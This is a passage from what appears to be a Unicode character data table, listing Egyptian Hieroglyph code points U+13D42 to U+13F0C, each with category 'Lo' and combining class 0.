("EGYPTIAN HIEROGLYPH-13D42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D76", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13D9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DBF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DCF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DD9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DDF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13DFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E0F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E10", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E11", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E12", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E13", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E14", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E15", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E16", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E17", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E18", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E19", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E1F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E20", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E21", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E22", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E23", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E24", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E25", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E26", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E27", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E28", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E29", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E2F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E30", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E31", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E32", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E33", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E34", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E35", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E36", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E37", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E38", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E39", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E3F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E40", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E41", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E42", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E43", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E44", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E45", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E46", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E47", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E48", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E49", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E4F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E50", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E51", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E52", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E53", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E54", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E55", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E56", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E57", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E58", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E59", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E5F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E60", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E61", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E62", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E63", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E64", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E65", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E66", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E67", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E68", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E69", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E6F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E70", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E71", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E72", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E73", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E74", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E75", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E76", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E77", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E78", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E79", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E7F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E80", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E81", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E82", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E83", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E84", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E85", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E86", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E87", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E88", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E89", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E8F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E90", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E91", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E92", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E93", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E94", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E95", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E96", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E97", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E98", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E99", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13E9F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EA9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EAF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EB9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EBF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EC9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ECF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13ED9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EDF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EE9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EEA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EEB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EEC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EEE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EEF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EF9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13EFF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F00", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F01", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F02", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F03", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F04", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F05", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F06", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F07", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F08", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F09", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F0A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F0B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13F0C", "Lo", 0),
